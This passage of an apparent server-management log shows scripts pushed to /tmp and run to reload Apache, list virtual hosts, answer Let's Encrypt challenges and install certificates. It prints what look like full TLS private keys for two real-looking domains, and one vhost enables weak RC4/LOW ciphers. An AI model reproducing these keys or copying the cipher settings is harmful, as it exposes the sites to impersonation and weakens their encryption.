    CustomLog	/var/log/apache2/kjvdictionary/www_secure_access.log combined
    ErrorLog	/var/log/apache2/kjvdictionary/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/kjvdictionary_www_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/kjvdictionary_www_org.conf)= /etc/apache2//etc/apache2/sites-enabled/kjvdictionary_www_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/kjvdictionary_www_org.conf= 1'
fi


2026-06-04 06:00:15: 

chmod 755 /tmp/pkp160577; /tmp/pkp160577; rm /tmp/pkp160577

2026-06-04 06:00:15: 




2026-06-04 06:00:15: 

PUT: /tmp/pkp816683

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-06-04 06:00:15: 

chmod 755 /tmp/pkp816683; /tmp/pkp816683; rm /tmp/pkp816683

2026-06-04 06:00:15: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-06-04 06:00:15: Establishing a connection
2026-06-04 06:00:15: 

PUT: /tmp/pkp766548

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-06-04 06:00:16: 

chmod 755 /tmp/pkp766548; /tmp/pkp766548; rm /tmp/pkp766548

2026-06-04 06:00:16: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:2)
         port 80 namevhost books.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_books_org.conf:2)
         port 80 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:2)
         port 80 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:2)
         port 80 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:1)
                 alias www.hopeinstoughton.org
         port 80 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:2)
         port 80 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:2)
                 alias www.hostz.org
         port 80 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:2)
         port 80 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:2)
                 alias www.kjvdictionary.org
         port 80 namevhost localhost (/etc/apache2/sites-enabled/nagios.conf:1)
         port 80 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:1)
         port 80 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:2)
         port 80 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:2)
                 alias www.patientapps.co
         port 80 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:1)
         port 80 namevhost hub.pjy.us (/etc/apache2/sites-enabled/pjy_hub_us.conf:2)
         port 80 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:1)
         port 80 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:2)
                 alias www.pjy.us
         port 80 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:1)
                 wild alias *.stoughton.link
         port 80 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:2)
                 alias www.theyoungdesigners.com
         port 80 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:2)
                 alias www.theyoungdesigners.us
*:443                  is a NameVirtualHost
         default server anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:24)
         port 443 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:26)
         port 443 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:24)
                 alias www.hopeinstoughton.org
         port 443 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:27)
         port 443 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:20)
                 alias www.hostz.org
         port 443 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:19)
         port 443 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:24)
                 alias www.kjvdictionary.org
         port 443 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:24)
         port 443 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:22)
         port 443 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:29)
                 alias www.patientapps.co
         port 443 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:23)
         port 443 namevhost hub.pjy.us (/etc/apache2/sites-enabled/pjy_hub_us.conf:22)
         port 443 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:26)
         port 443 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:20)
                 alias www.pjy.us
         port 443 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:27)
                 wild alias *.stoughton.link
         port 443 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:23)
                 alias www.theyoungdesigners.com
         port 443 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:21)
                 alias www.theyoungdesigners.us
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
Define: ENABLE_USR_LIB_CGI_BIN
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-06-04 06:00:16: 

PUT: /tmp/pkp405732

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/kjvdictionary_www_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-06-04 06:00:16: 

chmod 755 /tmp/pkp405732; /tmp/pkp405732; rm /tmp/pkp405732

2026-06-04 06:00:16: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/kjvdictionary_www_org.conf	1458

<VirtualHost *:80>
    ServerName	kjvdictionary.org
    ServerAlias	www.kjvdictionary.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/kjvdictionary_www
    <Directory /var/www/kjvdictionary_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/kjvdictionary/www_access.log combined
    ErrorLog	/var/log/apache2/kjvdictionary/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteCond	%{REQUEST_URI} !/event
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	kjvdictionary.org
    ServerAlias	www.kjvdictionary.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/00f32caf8ea0fbe0d1b245ad2ff4822f.crt
    DocumentRoot	/var/www/kjvdictionary_www
    <Directory /var/www/kjvdictionary_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/kjvdictionary/www_secure_access.log combined
    ErrorLog	/var/log/apache2/kjvdictionary/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-06-04 06:00:16: 

PUT: /tmp/pkp545578

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/00f32caf8ea0fbe0d1b245ad2ff4822f.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-06-04 06:00:16: 

chmod 755 /tmp/pkp545578; /tmp/pkp545578; rm /tmp/pkp545578

2026-06-04 06:00:16: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/00f32caf8ea0fbe0d1b245ad2ff4822f.crt	3577
3b:a4:c5:af:4d:1f:b2:d2:bf:c6:5c:2c:fc:a0:0a:23

-----BEGIN CERTIFICATE-----
MIIFETCCA/mgAwIBAgISBvDwmC9OhUPOIfqbqTwuc8uuMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjEwHhcNMjYwNjA0MDUwMTQzWhcNMjYwOTAyMDUwMTQyWjAcMRowGAYDVQQD
ExFranZkaWN0aW9uYXJ5Lm9yZzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBAJzzvWjFUW6SENGqBGtXpwZSYFTAuX1i2fmtiDOElhzEIpz7RkrwKEUiVPej
yMkGeU0NFdjZy38xunffmQhC59yOai+g756uNkjd5i2xFxHlj5Bk+qO7VH4Z0BW7
diSCkQJlKBsS96KMcBHczbsAFrbtuIFYWuE1uUgcm6LqAQ6jpviqzyEN5RQCbNJL
AGBoCNaeDpXAyCUTjtzRofFHkzE26Q7Ktny+z/tPCvqFSOHspuQJ4wwDF5hYDq8x
fBCGtp8ntyxE97DWovTFeQt2k357vrAchWetULmeM0kgkdDFgF0ZtiXBXndz9nS2
qsUOo9vvxA8M3xmFra8Hxb2In40CAwEAAaOCAjQwggIwMA4GA1UdDwEB/wQEAwIF
oDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBT8
tkuad3eULwN7gvsl6gulMdVNYTAfBgNVHSMEGDAWgBQfLzW+RhSCzUCxrnksVXj6
99Ro+zAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly95cjEuaS5s
ZW5jci5vcmcvMDMGA1UdEQQsMCqCEWtqdmRpY3Rpb25hcnkub3JnghV3d3cua2p2
ZGljdGlvbmFyeS5vcmcwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAj
oCGgH4YdaHR0cDovL3lyMS5jLmxlbmNyLm9yZy80Ny5jcmwwggEKBgorBgEEAdZ5
AgQCBIH7BIH4APYAdQDIo8R/x7OtuTVrAT9qehJt4zpOQ6XGRvmXrTl1mR3PmgAA
AZ6RN8ylAAAEAwBGMEQCIDkM88LN7JqEahzdOQr54tZqPMIrT13Q7ZaifshHYNIg
AiAc+uy4Fozj86CsazspPYnL1R18BApcDzZ3C45hOSP3ZgB9AGz+UBlDqF6pFrxS
0TPk3Mke8UEcfSWEINFzgJ4YGOs6AAABnpE3znkACAAABQAO1cTaBAMARjBEAiB6
/dj8AKAmn1JriFvylQUqO0TOUF+nPR0LWiy3gob5xQIgRHQiTeKYplMTYsrU4lJP
lR9HXX6FFLNwNjw1prZNE+kwDQYJKoZIhvcNAQELBQADggEBAC2tbQVryXWGJBJX
+ihdtDpwlRq50TGtjsHVs5njZCQ7fTKoA2OfFsxwLEHm3G7MKljEAS2UuDl53pVo
sNu+RDi64QPmrfijBLTTdCj1A/8a339jlzfTurtSMn/r99ObCeOWvv5Vp1gjImsb
GUjuqFvSuyW0pdIeJXYuH8GaVtlNwlAiH+Gx8dszLV+06Kos/2pXdlfb9Y1SqQw+
5CD3loTh2sW327UOyQ3x3a7UTN0+23iaBMuWyJQSDoPibzUKN/9KExXBK9/0dhzq
EZSyVBxWQqOm4jBCBSliSWDTon7AVUblsX/dJjLXw3zk8o//F89wGaBrnY2NHMML
+N96acY=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCc871oxVFukhDR
qgRrV6cGUmBUwLl9Ytn5rYgzhJYcxCKc+0ZK8ChFIlT3o8jJBnlNDRXY2ct/Mbp3
35kIQufcjmovoO+erjZI3eYtsRcR5Y+QZPqju1R+GdAVu3YkgpECZSgbEveijHAR
3M27ABa27biBWFrhNblIHJui6gEOo6b4qs8hDeUUAmzSSwBgaAjWng6VwMglE47c
0aHxR5MxNukOyrZ8vs/7Twr6hUjh7KbkCeMMAxeYWA6vMXwQhrafJ7csRPew1qL0
xXkLdpN+e76wHIVnrVC5njNJIJHQxYBdGbYlwV53c/Z0tqrFDqPb78QPDN8Zha2v
B8W9iJ+NAgMBAAECggEAB5nHJ6p8k8/3iAvFfIRJZqU5HImbwf52Q2DbunD2iwyV
h4gkoo7oSFbOChMQr2mEmM5kKzT65Z09JD58DPoee+AatNVEnWje4J78XWSY0ylM
j0fQmnrBL/0khlTmdwSqrJTFATClNOY7rCXHAcISl4fCGmNyvTrKjvsxr01JQVHo
my5LOb/MSmoUVB1yectL2W61x8qk00x7AY81Njfhg60dbILOKRwxNaSs6puKbaZJ
dg0gIURYJYMWFNDTcwuHIx5pW/3O4ZnoIbklhAxITMN2AKhimmV1JJTeERrGlxS/
ITcNEmX2D6MkjMt71f1orRpiwUzid9RvLg8vu6KQqQKBgQDUM0APgv3oGcym0IU6
dEJEyZOBrFMJgi8RmNyN4Bk1PygeGa9Gup6Fu8k6vSvgNSdaUYhugMLIVL9TgZOR
bntvMzFHNOYUsd6vYWFBoZiqWcqSL198Cn3Bf9aGIGr8kyIESEkjOa9542rSS6g0
byUIYLrm39/neOuHsw7TNuYT+QKBgQC9WSgrepHFBXkLvlEwhH7YVs0wp6e7IdRP
7i0ycTONBvV6JPtHby1uqPTwtAvetTkKKRLp+dH92QDrGWDVkg4BvQYRPKpqnaCD
/XBq3CkZhDb9ggSVJe15Z1ALDS0RSjHV5rO210GrBKnN4KjwYPvX+gBs2Q7b3Mib
1NzAsP+lNQKBgHpDDSXi02hndQKoIhsL4SLBAbw1DaLs3zHEYU9dTyjeur6dDeAy
piNnjwnI9P65oXLohzMj/RZvvczfW6bvgS8Qz9O3JtnFoghqkx69fLiqA402vk05
vjs+7Nta0km0fGT7QSiKlBAmd+WysbeEUlIBaa6cTuWPRiVphaEsgGQBAoGBAJN+
3v63dNOfxsHyF7aOj2ygeSgcgVkRKhy1cPmpGroRoKjsI91qal6YOG1EIzbxviP/
CN/AHeb64m9AjqDvLAAIqbBFrI5uiTon8ykapN1ek6N4Y293Yvw+ESj6s4+TVyzD
kFyuY1X/xPI9vfu54JRGB4zCrINyAcb50pg7iHi9AoGAarHm8AOsRmXxqOAwxQbM
pN9UqDX1glV7bGzEYywOxqJVD2cMx+G550IIcaUiXTB2XMbNOQH9lN6uuGr7TpxL
kzcYLUqMQ5TrwqMi3DyHNyaJGvjHekTQzq7ZbgEAJtNApwAFvlFMAt8h5oqo2hbW
QrBqqWjl9Z5hJHROiNmoqNQ=
-----END PRIVATE KEY-----







2026-06-04 06:00:17: Establishing a remote connection
2026-06-06 06:00:01: Establishing a connection
2026-06-06 06:00:02: Establishing a connection
2026-06-06 06:00:02: 

PUT: /tmp/pkp123471

#!/bin/bash
if [ -d "/var/www/theyoungdesigners_com/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-06-06 06:00:03: 

chmod 755 /tmp/pkp123471; /tmp/pkp123471; rm /tmp/pkp123471

2026-06-06 06:00:03: 


1


2026-06-06 06:00:06: Establishing a connection
2026-06-06 06:00:06: 

PUT: /tmp/pkp582525

#!/bin/bash
mkdir -p "/var/www/theyoungdesigners_com/.well-known/acme-challenge/"
cd "/var/www/theyoungdesigners_com/.well-known/acme-challenge/"
cat > Ca-yYOq9vAl8N8xEAVGIJv1BHngOxnqbceoqDQ9oiz4 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
Ca-yYOq9vAl8N8xEAVGIJv1BHngOxnqbceoqDQ9oiz4.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 Ca-yYOq9vAl8N8xEAVGIJv1BHngOxnqbceoqDQ9oiz4
cat > X2Gh_IXJfvsIMCCH5fLNGX3qC8Bf4DT5hqmNzgh6mAI <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
X2Gh_IXJfvsIMCCH5fLNGX3qC8Bf4DT5hqmNzgh6mAI.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 X2Gh_IXJfvsIMCCH5fLNGX3qC8Bf4DT5hqmNzgh6mAI


2026-06-06 06:00:06: 

chmod 755 /tmp/pkp582525; /tmp/pkp582525; rm /tmp/pkp582525

2026-06-06 06:00:06: 




2026-06-06 06:00:13: Establishing a connection
2026-06-06 06:00:13: 

PUT: /tmp/pkp388220

#!/bin/bash
mkdir -p "/var/www/theyoungdesigners_com/.well-known/acme-challenge/"
cd "/var/www/theyoungdesigners_com/.well-known/acme-challenge/"
rm Ca-yYOq9vAl8N8xEAVGIJv1BHngOxnqbceoqDQ9oiz4
rm X2Gh_IXJfvsIMCCH5fLNGX3qC8Bf4DT5hqmNzgh6mAI


2026-06-06 06:00:13: 

chmod 755 /tmp/pkp388220; /tmp/pkp388220; rm /tmp/pkp388220

2026-06-06 06:00:13: 




2026-06-06 06:00:13: Establishing a connection
2026-06-06 06:00:14: 

PUT: /tmp/pkp892546

#!/bin/bash
temp_file=$(mktemp)
TARGET=2deaf2826866ca8d93ba58b86ef107a6.crt

cat > $temp_file <<'endmsg'
71:23:69:9a:b6:5a:c9:c1:68:fe:2d:63:7f:70:4f:37

-----BEGIN CERTIFICATE-----
MIIFHjCCBAagAwIBAgISBgXxsj0BV5kPkZ11ro4hDpm2MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjIwHhcNMjYwNjA2MDUwMTQyWhcNMjYwOTA0MDUwMTQxWjAgMR4wHAYDVQQD
ExV0aGV5b3VuZ2Rlc2lnbmVycy5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
ggEKAoIBAQCnNfK9HQ4pORH1iGZp0z98KBzNoXmB8vWniaR+iVr2Xl4tMy9dXhbi
ybc/lJaM+h1s89kj6O621OuTlDB4DxtkLzsu2lNjzrlzb2Qc1dqirhsccmD5Goi2
AV1dyfdT3vM8QkGN37j97zuT5G4Q1Nb5an5ebN6TIUCHD6J5E2BjimZ55V6jCriH
d+Bmc1FTMWJr8EFy59ldXBa9Iu6cWOmuGGJ4p8jmQeEur6w4hkLJ21iqSrs9aZU8
TKJ2qnpTOGtSObPeaHhBCLW9MSo+tfcy9M1h6GZfKXnK7argc0LtVZ2iNHZ6giYo
Wlewa7kMtM8vgKHbdbjeKpSypS5sgo+jAgMBAAGjggI9MIICOTAOBgNVHQ8BAf8E
BAMCBaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4E
FgQUaG8Na+IHhvSXQD5v75B3I3cO11EwHwYDVR0jBBgwFoAUQBUtJnntMiCe35py
HdYyH4EMgQwwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8veXIy
LmkubGVuY3Iub3JnLzA7BgNVHREENDAyghV0aGV5b3VuZ2Rlc2lnbmVycy5jb22C
GXd3dy50aGV5b3VuZ2Rlc2lnbmVycy5jb20wEwYDVR0gBAwwCjAIBgZngQwBAgEw
LgYDVR0fBCcwJTAjoCGgH4YdaHR0cDovL3lyMi5jLmxlbmNyLm9yZy81NS5jcmww
ggELBgorBgEEAdZ5AgQCBIH8BIH5APcAdgDIo8R/x7OtuTVrAT9qehJt4zpOQ6XG
RvmXrTl1mR3PmgAAAZ6bhIABAAAEAwBHMEUCIEgGOE2CtXqjo7r222WsaIkXXOt4
0/IZFKutHnHBqKmMAiEA4qt1nrucw9bA4p4vyuKSVtNRBQ6EMmn0R0mxVKLCukEA
fQCoJsvjCsY1EkZTP+Bl8U8Z2W4ZCBPEHdlteQCzEjxVJwAAAZ6bhIGSAAgAAAUA
Di+0oAQDAEYwRAIgZUXomlHXzUqImR+rCjbf9ciiMMUlKuJzV8uD6B43n2UCIBUd
AQp9mipsCSTttXcgpGhQxhRpeOuH0t2NMSBWRwyAMA0GCSqGSIb3DQEBCwUAA4IB
AQAg6Q6cTVxewzYTIQAtalraKdHVMOKScPUR04fjQPmTD2MjXpMd5kp5tT2OCH9P
ax1Xa0Qd1uUonstBbbRAOhjQAVIMg2Zs/wC8RRCppv6w6FPwwkM4JXz4o2VA8rvQ
1i/khZ1tKYUphVyssQZEAwhR/FCsBzxzP5AXJSMRqIQ1yvZ186ewPqDU8oR/eOlK
dyxKa6BFRhrpMdXJOPvQexLa/Z9qdaA8KK8ltsfUCfRI4jWfg6cXqspvmr3EoLtc
aLKPYyGpdJtFtPuHlBB01magx43vITr4BfBgFTyeLu4HTHWZEv4yet94X0oLX0c9
wVKNFFsXkfze1BPn3YSO9QLq
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCnNfK9HQ4pORH1
iGZp0z98KBzNoXmB8vWniaR+iVr2Xl4tMy9dXhbiybc/lJaM+h1s89kj6O621OuT
lDB4DxtkLzsu2lNjzrlzb2Qc1dqirhsccmD5Goi2AV1dyfdT3vM8QkGN37j97zuT
5G4Q1Nb5an5ebN6TIUCHD6J5E2BjimZ55V6jCriHd+Bmc1FTMWJr8EFy59ldXBa9
Iu6cWOmuGGJ4p8jmQeEur6w4hkLJ21iqSrs9aZU8TKJ2qnpTOGtSObPeaHhBCLW9
MSo+tfcy9M1h6GZfKXnK7argc0LtVZ2iNHZ6giYoWlewa7kMtM8vgKHbdbjeKpSy
pS5sgo+jAgMBAAECggEAHahL7Y8Bu/4LWWlgANUfJX5X3YEOdCYLvDOFoYvrPldu
jMXPWNgfZwowHm7UZRzXq0N0+BGQhY0uW3alQiYrzZEzBhRjRgicjATt1M95f/Ex
jdIbsRMrvFxxmvj/jTi2G7IEvo032pJcFtclTobxujtRPp5AvAfh0hLL1n3BUuYn
8gi+Vt37w6Ve2amEpjabs4o2zi3XZDMONkL2P+4ro60AsNRL8+0Y0kWivoOZJe/z
CbNNQU6HshB8fcSQac9YHuHhj5TmFcTjPjMCdQjrpx3TXSgtKLblk5gZgJv7uRBK
vxmQkuhmG42BC3b5972xPrNkvHGEjBwiq1ML1IqKQQKBgQDPp+BUMKz1Gi08VJDR
JDMRUHM1u3DkpxhnWN27pB9M2s22a5giHpQQgOf4wf5ojmEGQ0d4IjwfXTynLknu
cHe/Fjab8tDhqmaBuj4YpwVltLXlsg7h/ccztR3HoxAMugS7Pa+KRS6vfr0CDudB
qY0NUd+WpBGUHzmnNk7QIRQOrQKBgQDOI5RF1JVhblLd4WzYSHgFH5YwWt0yr1bW
H7UnoUR1JH/169P+sUeyvavAwwhM5XlrYnfrysC7GY11az0sQH1TprzI9MmtQf+P
Yns/OVrtHBOvPcdRnm535C2u5YaHqfpK4pMGXJgnd6yPwFmIgXeMYl9AE3zJtZaS
DnJmlaRxjwKBgE1GJ5Cs3HAJYbQFtC5fzjEvQvBH5GbyV35972WYWZ17/vlXaLGp
t2e80JYdetLlyO1PtBTciIsTYzLDYve8GpOdbIzz+w8/Hg5AhEMgRD3o1Ze4fxlS
GwL+7yoPYDWcM46KEfzeadUc0LEnYp9ovPir8wxX2cLJK+cxqnqBFLmxAoGAfk/y
5S80MbWGdYtSRN1zHcCTKSIkdJBYZ3CacqQw7I7nEevlxSUgR/hNLBrWFThvxEtc
LFHa80rfEVoa6+jAYufCumi0w8OzM0snNkCQ5MXVkgYLAopQKorZK1hdrPeM9SIM
8VL/sP9178fvlOOwO4dz0jGev4LTtr+/ffioASUCgYEAzsJWdjevgI7kO/wCs1PJ
5J7stzWG3M95Vn/ft8JELdrFuPgavI5IKUhZDP04lejSa7Yr1tC/LbYJXjYPFHRl
stnyclmzdUNdqsUA7aei/IRqaBeWiIsTagwiYV8U+HwWa/vXpzj8bn3LHwjZmSvl
Gk20uv+sJhEbCqSbV2aE4wM=
-----END PRIVATE KEY-----



endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-06-06 06:00:14: 

chmod 755 /tmp/pkp892546; /tmp/pkp892546; rm /tmp/pkp892546

2026-06-06 06:00:14: 


dir=/etc/ssl/certs


2026-06-06 06:00:14: 

PUT: /tmp/pkp333186

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-06-06 06:00:14: 

chmod 755 /tmp/pkp333186; /tmp/pkp333186; rm /tmp/pkp333186

2026-06-06 06:00:14: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf 49

<VirtualHost *:80>
    ServerName	theyoungdesigners.com
    ServerAlias	www.theyoungdesigners.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/theyoungdesigners_com/public
    <Directory /var/www/theyoungdesigners_com>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/theyoungdesigners/com_access.log combined
    ErrorLog	/var/log/apache2/theyoungdesigners/com_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
